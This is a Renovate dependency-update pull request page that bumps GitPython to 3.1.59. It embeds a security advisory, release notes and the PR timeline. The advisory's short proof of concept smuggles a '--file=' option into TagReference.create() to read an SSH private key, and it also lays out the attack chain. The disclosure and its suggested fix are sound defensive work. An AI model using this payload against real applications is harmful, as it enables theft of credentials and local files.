[GHSA-3wxw-xv34-2frg](https://github.com/advisories/GHSA-3wxw-xv34-2frg) / PYSEC-2026-3837 <details> <summary>More information</summary> #### Details ##### Summary `TagReference.create()` forwards a caller-influenced positional `reference` value into `git tag` without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit `3af0c251` (the fix for GHSA-3f7w-8rr8-f37f's tag instance). ##### Root Cause The fix `3af0c251` added `unsafe_git_tag_options = ["--file","-F"]` and a guard call, but the guard is `Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...)` at `git/refs/tag.py:139` — it passes an EMPTY args list and inspects **kwargs only**. The dangerous values `path` and `reference` are POSITIONALS (`args = (path, reference)`, tag.py:156), placed before any `--`. A user-influenced `reference="--file=<path>"` therefore reaches `git tag` as the exact `--file` option the fix intended to block, creating an annotated tag whose message is the file's contents. ##### Impact Arbitrary local file read at the privileges of the host process; contents returned in-band via `tagref.tag.message`. Requires the embedding application to forward a caller-influenced `reference` value into `TagReference.create()` (pure VALUE control — the CVE-2026-42215 threat model). Default `allow_unsafe_options=False`. ##### Proof of Concept ```python from git import TagReference t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/id_rsa") print(t.tag.message) # contents of the file ``` ##### Attack Chain 1. Entry: app calls `TagReference.create(repo, name, reference=<user>)` with `reference="--file=/home/app/.ssh/id_rsa"`. 2. Check: `Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"])` @&#8203; tag.py:137-141. Guard: denylist includes `--file`/`-F`. Bypass proof: `_option_candidates` receives `args=[]` → the positional `reference` is never a candidate (the kwarg spelling `file="…"` IS blocked; only the positional escapes). 3. Sink: `repo.git.tag(*args, **kwargs)` @&#8203; tag.py:158 → no `--`. argv (observed): `['git','tag','-f','vpwn','--file=<secret>']`. 4. Impact: annotated tag created; `tagref.tag.message` == file contents (arbitrary file read). ##### Bypass Evidence Independently reproduced (independent test harness, git 2.43.0, default `allow_unsafe_options=False`): `TagReference.create(repo,'vp','--file=<secret>')` → PASSED; `tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'`. Control: `TagReference.create(..., file='<secret>')` → `UnsafeOptionError: --file is not allowed`. Fix-commit read: `3af0c251` adds `_option_candidates([], kwargs)` (empty args → positional never a candidate). ##### Affected Versions `GitPython <= 3.1.58` (sink present verbatim on the latest release tag; `git diff 3.1.57..HEAD` touches only test files). ##### Suggested Fix Include the positional `reference` (and `path`) in the option-candidate list passed to `check_unsafe_options`, or place a `--` separator before the positional arguments in `TagReference.create()`. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg) - [https://nvd.nist.gov/vuln/detail/CVE-2026-78679](https://nvd.nist.gov/vuln/detail/CVE-2026-78679) - [https://github.com/gitpython-developers/GitPython/pull/2208](https://github.com/gitpython-developers/GitPython/pull/2208) - [https://github.com/gitpython-developers/GitPython/commit/1b0d2d9b91575f7db44ef4ff58ac37fc9335e5f6](https://github.com/gitpython-developers/GitPython/commit/1b0d2d9b91575f7db44ef4ff58ac37fc9335e5f6) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59) - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-3wxw-xv34-2frg](https://github.com/advisories/GHSA-3wxw-xv34-2frg) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3837) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>gitpython-developers/GitPython (gitpython)</summary> ### [`v3.1.59`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.58...3.1.59) #### What's Changed - prepare changelog for upcoming release by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2207](https://github.com/gitpython-developers/GitPython/pull/2207) - Block file-reading Git options by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2208](https://github.com/gitpython-developers/GitPython/pull/2208) - index: write blobs via git hash-object, not gitdb's odb.store by [@&#8203;caroescm](https://github.com/caroescm) in [#&#8203;2209](https://github.com/gitpython-developers/GitPython/pull/2209) - Block separate git directories during clone by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2210](https://github.com/gitpython-developers/GitPython/pull/2210) - fix: harden config parsing boundaries by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2211](https://github.com/gitpython-developers/GitPython/pull/2211) - `repo.index.add()` now respects worktree filters [#&#8203;2209](https://github.com/gitpython-developers/GitPython/pull/2209) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.58...3.1.59> ### [`v3.1.58`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58): - Security and Fixes [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.57...3.1.58) #### What's Changed - test: allow Python startup before timeout by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2195](https://github.com/gitpython-developers/GitPython/pull/2195) - Resolve Windows hook Bash through PATH by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2199](https://github.com/gitpython-developers/GitPython/pull/2199) - Revert "Resolve Windows hook Bash through PATH" by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2200](https://github.com/gitpython-developers/GitPython/pull/2200) - test: focus pytest summary on unexpected failures by [@&#8203;raisulchowdhury](https://github.com/raisulchowdhury) in [#&#8203;2203](https://github.com/gitpython-developers/GitPython/pull/2203) - Validate submodule names before filesystem operations by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2202](https://github.com/gitpython-developers/GitPython/pull/2202) - Handle invalid submodule names during recursive updates by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2205](https://github.com/gitpython-developers/GitPython/pull/2205) - Fix Windows path handling on Python 3.13+ by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2196](https://github.com/gitpython-developers/GitPython/pull/2196) - fixup 2202 by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2206](https://github.com/gitpython-developers/GitPython/pull/2206) - Correct Windows hook Bash precedence by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2201](https://github.com/gitpython-developers/GitPython/pull/2201) - Harden config and Git option validation by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2204](https://github.com/gitpython-developers/GitPython/pull/2204) - Skip tests that need symlink privileges instead of erroring by [@&#8203;Cyrus580529](https://github.com/Cyrus580529) in [#&#8203;2197](https://github.com/gitpython-developers/GitPython/pull/2197) #### New Contributors - [@&#8203;raisulchowdhury](https://github.com/raisulchowdhury) made their first contribution in [#&#8203;2203](https://github.com/gitpython-developers/GitPython/pull/2203) - [@&#8203;Cyrus580529](https://github.com/Cyrus580529) made their first contribution in [#&#8203;2197](https://github.com/gitpython-developers/GitPython/pull/2197) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.57...3.1.58> ### [`v3.1.57`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57): - Security and Fixes [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.56...3.1.57) #### What's Changed - Merge gitdb and smmap into the GitPython repository by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2179](https://github.com/gitpython-developers/GitPython/pull/2179) - build(deps): bump actions/setup-python from 6 to 7 by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2185](https://github.com/gitpython-developers/GitPython/pull/2185) - build(deps): bump the pre-commit group with 2 updates by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2186](https://github.com/gitpython-developers/GitPython/pull/2186) - Bump Vampire/setup-wsl from 6.0.0 to 7.0.0 by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2124](https://github.com/gitpython-developers/GitPython/pull/2124) - Render protected Traversable methods in the reference by [@&#8203;pick7](https://github.com/pick7) in [#&#8203;2192](https://github.com/gitpython-developers/GitPython/pull/2192) - Use standard prefixes for parsed patch diffs by [@&#8203;pick7](https://github.com/pick7) in [#&#8203;2191](https://github.com/gitpython-developers/GitPython/pull/2191) - Honor kill\_after\_timeout with output streams by [@&#8203;pick7](https://github.com/pick7) in [#&#8203;2189](https://github.com/gitpython-developers/GitPython/pull/2189) - Redact Authorization extra headers from command errors by [@&#8203;pick7](https://github.com/pick7) in [#&#8203;2188](https://github.com/gitpython-developers/GitPython/pull/2188) - Improve RemoteProgress parse return typing by [@&#8203;pick7](https://github.com/pick7) in [#&#8203;2187](https://github.com/gitpython-developers/GitPython/pull/2187) - Adopt basedpyright with a legacy baseline by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2194](https://github.com/gitpython-developers/GitPython/pull/2194) - Block unsafe Git file and URL options by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2193](https://github.com/gitpython-developers/GitPython/pull/2193) #### New Contributors - [@&#8203;pick7](https://github.com/pick7) made their first contribution in [#&#8203;2192](https://github.com/gitpython-developers/GitPython/pull/2192) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.56...3.1.57> ### [`v3.1.56`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.56): - SECURITY [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.55...3.1.56) #### What's Changed - Add support for Python 3.15 by [@&#8203;hugovk](https://github.com/hugovk) in [#&#8203;2183](https://github.com/gitpython-developers/GitPython/pull/2183) - fix: reject unsafe output options in Commit.count by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2184](https://github.com/gitpython-developers/GitPython/pull/2184) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.55...3.1.56> ### [`v3.1.55`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55) #### What's Changed - fix: prevent environment expansion in remote URLs by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2181](https://github.com/gitpython-developers/GitPython/pull/2181) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55> ### [`v3.1.54`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54) #### What's Changed - Harden unsafe Git option validation by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2180](https://github.com/gitpython-developers/GitPython/pull/2180) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54> ### [`v3.1.53`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.52...3.1.53) #### What's Changed - feat(submodule): add deinit method to Submodule ([#&#8203;2014](https://github.com/gitpython-developers/GitPython/issues/2014)) by [@&#8203;mvanhorn](https://github.com/mvanhorn) in [#&#8203;2129](https://github.com/gitpython-developers/GitPython/pull/2129) - typing: introduce sensible basedpyright defaults by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2174](https://github.com/gitpython-developers/GitPython/pull/2174) - fix: make `submodule.update()` after `submodule.deinit()` work by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2175](https://github.com/gitpython-developers/GitPython/pull/2175) - Fix commit hooks respecting core.hooksPath by [@&#8203;Siesta0217](https://github.com/Siesta0217) in [#&#8203;2159](https://github.com/gitpython-developers/GitPython/pull/2159) - fix: validate config section delimiters by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2176](https://github.com/gitpython-developers/GitPython/pull/2176) #### New Contributors - [@&#8203;Siesta0217](https://github.com/Siesta0217) made their first contribution in [#&#8203;2159](https://github.com/gitpython-developers/GitPython/pull/2159) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.52...3.1.53> ### [`v3.1.52`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52): Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.51...3.1.52) <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573>: Environment-variable exfiltration via os.path.expandvars() on Repo.clone\_from() URL #### What's Changed - Skip cross-drive relative config test on Windows by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2171](https://github.com/gitpython-developers/GitPython/pull/2171) - fix: preserve literal clone URLs by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2172](https://github.com/gitpython-developers/GitPython/pull/2172) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.51...3.1.52> ### [`v3.1.51`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.50...3.1.51) #### What's Changed - Add AI-disclosure and quality requirements to the contribution guidelines by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2143](https://github.com/gitpython-developers/GitPython/pull/2143) - docs(cmd): clarify Git.execute() string vs list command argument by [@&#8203;mvanhorn](https://github.com/mvanhorn) in [#&#8203;2144](https://github.com/gitpython-developers/GitPython/pull/2144) - Rewrite Git.execute() command parameter docstring per [#&#8203;2146](https://github.com/gitpython-developers/GitPython/issues/2146) by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2147](https://github.com/gitpython-developers/GitPython/pull/2147) - Document init script behavior with multiple master remotes by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2148](https://github.com/gitpython-developers/GitPython/pull/2148) - Bump git/ext/gitdb from `335c0f6` to `0a019a2` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2149](https://github.com/gitpython-developers/GitPython/pull/2149) - Support relative worktree paths (git 2.48+ worktree.useRelativePaths) by [@&#8203;elovelan](https://github.com/elovelan) in [#&#8203;2151](https://github.com/gitpython-developers/GitPython/pull/2151) - Defer xfail condition evaluation with xfail\_if\_raises context manager by [@&#8203;elovelan](https://github.com/elovelan) in [#&#8203;2153](https://github.com/gitpython-developers/GitPython/pull/2153) - Run more submodule tests on Cygwin (fix flaky xfails) by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2154](https://github.com/gitpython-developers/GitPython/pull/2154) - Cut xtrace noise from POSIX-ownership diagnostic steps by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2156](https://github.com/gitpython-developers/GitPython/pull/2156) - Support index diffs against the empty tree by [@&#8203;puneetdixit200](https://github.com/puneetdixit200) in [#&#8203;2155](https://github.com/gitpython-developers/GitPython/pull/2155) - refactor: seperate out Progress type by [@&#8203;LoeschMaximilian](https://github.com/LoeschMaximilian) in [#&#8203;2157](https://github.com/gitpython-developers/GitPython/pull/2157) - Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.12 to 0.15.15 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2160](https://github.com/gitpython-developers/GitPython/pull/2160) - Bump actions/checkout from 6 to 7 by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2164](https://github.com/gitpython-developers/GitPython/pull/2164) - Bump git/ext/gitdb from `0a019a2` to `4950ea9` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2165](https://github.com/gitpython-developers/GitPython/pull/2165) - Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.15 to 0.15.20 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2166](https://github.com/gitpython-developers/GitPython/pull/2166) - Add Commit.is\_shallow property; document stats() limitation at shallow boundary by [@&#8203;harshitayadavv](https://github.com/harshitayadavv) in [#&#8203;2167](https://github.com/gitpython-developers/GitPython/pull/2167) - Allow relative config paths with includes by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2169](https://github.com/gitpython-developers/GitPython/pull/2169) - Reject abbreviated forms of unsafe git options by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2168](https://github.com/gitpython-developers/GitPython/pull/2168) - guard unsafe git command options by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2163](https://github.com/gitpython-developers/GitPython/pull/2163) #### New Contributors - [@&#8203;elovelan](https://github.com/elovelan) made their first contribution in [#&#8203;2151](https://github.com/gitpython-developers/GitPython/pull/2151) - [@&#8203;puneetdixit200](https://github.com/puneetdixit200) made their first contribution in [#&#8203;2155](https://github.com/gitpython-developers/GitPython/pull/2155) - [@&#8203;LoeschMaximilian](https://github.com/LoeschMaximilian) made their first contribution in [#&#8203;2157](https://github.com/gitpython-developers/GitPython/pull/2157) - [@&#8203;harshitayadavv](https://github.com/harshitayadavv) made their first contribution in [#&#8203;2167](https://github.com/gitpython-developers/GitPython/pull/2167) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.50...3.1.51> ### [`v3.1.50`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.50) [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50) #### What's Changed - Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.8 to 0.15.12 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2140](https://github.com/gitpython-developers/GitPython/pull/2140) - Bump git/ext/gitdb from `335c0f6` to `53c94d6` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2141](https://github.com/gitpython-developers/GitPython/pull/2141) - Fix Repo() autodiscovery in linked worktrees when GIT\_DIR is set by [@&#8203;meliezer](https://github.com/meliezer) in [#&#8203;2128](https://github.com/gitpython-developers/GitPython/pull/2128) - Validate config key names before writing by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2142](https://github.com/gitpython-developers/GitPython/pull/2142) #### New Contributors - [@&#8203;meliezer](https://github.com/meliezer) made their first contribution in [#&#8203;2128](https://github.com/gitpython-developers/GitPython/pull/2128) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50> ### [`v3.1.49`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49) #### What's Changed - reject control chars in written values in configuration by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2137](https://github.com/gitpython-developers/GitPython/pull/2137) - Improve pure Python rev-parse coverage and behavior by [@&#8203;Copilot](https://github.com/Copilot) in [#&#8203;2136](https://github.com/gitpython-developers/GitPython/pull/2136) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49> ### [`v3.1.48`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48) Accidentally deleted the previous GH release, it did mention the advisory this fixes. #### What's Changed - prevent out-of-repo access when manipulating references. by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2134](https://github.com/gitpython-developers/GitPython/pull/2134) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48> ### [`v3.1.47`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47): - with security fixes [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47) #### Advisories - <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4> - <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485> #### What's Changed - Prepare next release by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2095](https://github.com/gitpython-developers/GitPython/pull/2095) - Bump git/ext/gitdb from `335c0f6` to `4c63ee6` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2096](https://github.com/gitpython-developers/GitPython/pull/2096) - DOC: README Add urls and updated a relative url by [@&#8203;Timour-Ilyas](https://github.com/Timour-Ilyas) in [#&#8203;2098](https://github.com/gitpython-developers/GitPython/pull/2098) - Fix GitConfigParser ignoring multiple \[include] path entries by [@&#8203;daniel7an](https://github.com/daniel7an) in [#&#8203;2100](https://github.com/gitpython-developers/GitPython/pull/2100) - Switch back from Alpine to Debian for WSL by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2108](https://github.com/gitpython-developers/GitPython/pull/2108) - Bump git/ext/gitdb from `4c63ee6` to `5c1b303` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2106](https://github.com/gitpython-developers/GitPython/pull/2106) - Run `gc.collect()` twice in `test_rename` on Python 3.12 by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2109](https://github.com/gitpython-developers/GitPython/pull/2109) - fix: guard AutoInterrupt terminate during interpreter shutdown by [@&#8203;lweyrich1](https://github.com/lweyrich1) in [#&#8203;2105](https://github.com/gitpython-developers/GitPython/pull/2105) - Improve CI infrastructure for pre-commit by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2110](https://github.com/gitpython-developers/GitPython/pull/2110) - Bump the pre-commit group with 5 updates by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2111](https://github.com/gitpython-developers/GitPython/pull/2111) - Upgrade Sphinx for 3.14 support; drop doc build support on 3.8; test 3.14 by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2112](https://github.com/gitpython-developers/GitPython/pull/2112) - Fix `Repo.active_branch` resolution for reftable-backed repositories by [@&#8203;Copilot](https://github.com/Copilot) in [#&#8203;2114](https://github.com/gitpython-developers/GitPython/pull/2114) - docs: warn about GitDB performance with large commits by [@&#8203;mvanhorn](https://github.com/mvanhorn) in [#&#8203;2115](https://github.com/gitpython-developers/GitPython/pull/2115) - cmd: fix kwarg formatting in docstring example by [@&#8203;UweSchwaeke](https://github.com/UweSchwaeke) in [#&#8203;2117](https://github.com/gitpython-developers/GitPython/pull/2117) - Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.5 to 0.15.8 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2122](https://github.com/gitpython-developers/GitPython/pull/2122) - Add trailer support for commit creation by [@&#8203;Krishnachaitanyakc](https://github.com/Krishnachaitanyakc) in [#&#8203;2116](https://github.com/gitpython-developers/GitPython/pull/2116) - Harden commit trailer subprocess handling and align trailer I/O paths by [@&#8203;Copilot](https://github.com/Copilot) in [#&#8203;2125](https://github.com/gitpython-developers/GitPython/pull/2125) - git.cmd.Git.execute(..): fix `with_stdout=False` by [@&#8203;ngie-eign](https://github.com/ngie-eign) in [#&#8203;2126](https://github.com/gitpython-developers/GitPython/pull/2126) - Make sure that multi-options are checked after splitting them with `shlex` by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2130](https://github.com/gitpython-developers/GitPython/pull/2130) - Block unsafe underscored git kwargs / Fix for GHSA-rpm5-65cw-6hj4 by [@&#8203;WesR](https://github.com/WesR) in [#&#8203;2131](https://github.com/gitpython-developers/GitPython/pull/2131) #### New Contributors - [@&#8203;Timour-Ilyas](https://github.com/Timour-Ilyas) made their first contribution in [#&#8203;2098](https://github.com/gitpython-developers/GitPython/pull/2098) - [@&#8203;daniel7an](https://github.com/daniel7an) made their first contribution in [#&#8203;2100](https://github.com/gitpython-developers/GitPython/pull/2100) - [@&#8203;lweyrich1](https://github.com/lweyrich1) made their first contribution in [#&#8203;2105](https://github.com/gitpython-developers/GitPython/pull/2105) - [@&#8203;Copilot](https://github.com/Copilot) made their first contribution in [#&#8203;2114](https://github.com/gitpython-developers/GitPython/pull/2114) - [@&#8203;mvanhorn](https://github.com/mvanhorn) made their first contribution in [#&#8203;2115](https://github.com/gitpython-developers/GitPython/pull/2115) - [@&#8203;UweSchwaeke](https://github.com/UweSchwaeke) made their first contribution in [#&#8203;2117](https://github.com/gitpython-developers/GitPython/pull/2117) - [@&#8203;Krishnachaitanyakc](https://github.com/Krishnachaitanyakc) made their first contribution in [#&#8203;2116](https://github.com/gitpython-developers/GitPython/pull/2116) - [@&#8203;ngie-eign](https://github.com/ngie-eign) made their first contribution in [#&#8203;2126](https://github.com/gitpython-developers/GitPython/pull/2126) - [@&#8203;WesR](https://github.com/WesR) made their first contribution in [#&#8203;2131](https://github.com/gitpython-developers/GitPython/pull/2131) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNDEuNiIsInVwZGF0ZWRJblZlciI6IjQ0LjY1LjUiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbXX0=-->

Renovate added 1 commit 2026-05-05 12:47:40 -04:00

Update dependency gitpython to v3.1.47 [SECURITY] db0a2267ec

Renovate force-pushed renovate/pypi-gitpython-vulnerability from db0a2267ec to 343be23737 2026-05-06 00:02:53 -04:00 Compare

Renovate changed title from Update dependency gitpython to v3.1.47 [SECURITY] to Update dependency gitpython to v3.1.48 [SECURITY] 2026-05-06 16:48:10 -04:00

Renovate changed title from Update dependency gitpython to v3.1.48 [SECURITY] to Update dependency gitpython to v3.1.49 [SECURITY] 2026-05-06 20:32:54 -04:00

Renovate changed title from Update dependency gitpython to v3.1.49 [SECURITY] to Update dependency gitpython to v3.1.50 [SECURITY] 2026-05-09 10:42:54 -04:00

Renovate force-pushed renovate/pypi-gitpython-vulnerability from 343be23737 to eca420b486 2026-07-12 10:10:32 -04:00 Compare

Renovate force-pushed renovate/pypi-gitpython-vulnerability from eca420b486 to 639b7b5749 2026-07-16 00:03:38 -04:00 Compare

Renovate force-pushed renovate/pypi-gitpython-vulnerability from 639b7b5749 to 23b0902f36 2026-07-20 10:04:04 -04:00 Compare

Renovate changed title from Update dependency gitpython to v3.1.50 [SECURITY] to Update dependency gitpython to v3.1.51 [SECURITY] 2026-07-21 17:03:24 -04:00

Renovate changed title from Update dependency gitpython to v3.1.51 [SECURITY] to Update dependency gitpython to v3.1.52 [SECURITY] 2026-07-21 21:03:24 -04:00

Renovate force-pushed renovate/pypi-gitpython-vulnerability from 23b0902f36 to d824f8187e 2026-07-22 01:03:30 -04:00 Compare

Renovate force-pushed renovate/pypi-gitpython-vulnerability from d824f8187e to 5818478b00 2026-07-22 23:03:31 -04:00 Compare

Renovate changed title from Update dependency gitpython to v3.1.52 [SECURITY] to Update dependency gitpython to v3.1.54 [SECURITY] 2026-07-24 17:03:46 -04:00

Renovate changed title from Update dependency gitpython to v3.1.54 [SECURITY] to Update dependency gitpython to v3.1.55 [SECURITY] 2026-07-24 21:04:39 -04:00

Renovate force-pushed renovate/pypi-gitpython-vulnerability from 5818478b00 to 79725d82f4 2026-07-25 04:04:00 -04:00 Compare

Renovate force-pushed renovate/pypi-gitpython-vulnerability from 79725d82f4 to 758738631c 2026-07-26 04:03:56 -04:00 Compare

Renovate force-pushed renovate/pypi-gitpython-vulnerability from 758738631c to 0a8d4807e5 2026-08-24 23:04:00 -04:00 Compare

Renovate changed title from Update dependency gitpython to v3.1.55 [SECURITY] to Update dependency gitpython to v3.1.58 [SECURITY] 2026-08-24 23:04:00 -04:00

Renovate force-pushed renovate/pypi-gitpython-vulnerability from 0a8d4807e5 to b7a4a277ca 2026-08-25 15:03:56 -04:00 Compare

Renovate force-pushed renovate/pypi-gitpython-vulnerability from b7a4a277ca to 681aca7553 2026-08-28 07:03:29 -04:00 Compare

Renovate force-pushed renovate/pypi-gitpython-vulnerability from 681aca7553 to 0c2fb20f32 2026-08-30 23:04:38 -04:00 Compare

Renovate changed title from Update dependency gitpython to v3.1.58 [SECURITY] to Update dependency gitpython to v3.1.59 [SECURITY] 2026-09-03 09:03:39 -04:00

Renovate force-pushed renovate/pypi-gitpython-vulnerability from 0c2fb20f32 to 6b35d2cd7b 2026-09-06 23:04:42 -04:00 Compare

All checks were successful

Hide checks

Actions / Build (pull_request) Successful in 35s

Required

Details

Actions / Lint (pull_request) Successful in 48s

Required

Details

This pull request can be merged automatically.

You are not authorized to merge this pull request.

View command line instructions

Checkout

From your project repository, check out a new branch and test the changes.

git fetch -u origin renovate/pypi-gitpython-vulnerability:renovate/pypi-gitpython-vulnerability

git switch renovate/pypi-gitpython-vulnerability

Sign in to join this conversation.

Reviewers

No reviewers

Labels

Clear labels

  

bug

Something is not working

  

duplicate

This issue or pull request already exists

  

question

More information is needed

  

upstream

Issue is known, but is pending a fix from another entity

  

wontfix

This issue is known, but will not be fixed

No labels

bug

duplicate

question

upstream

wontfix

Milestone

Clear milestone

No items

No milestone

Assignees

Clear assignees

No assignees

1 participant

Notifications

Subscribe

Due date

The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set

Reference

GalacticFactory/GalacticFactoryUtils!15

No description provided.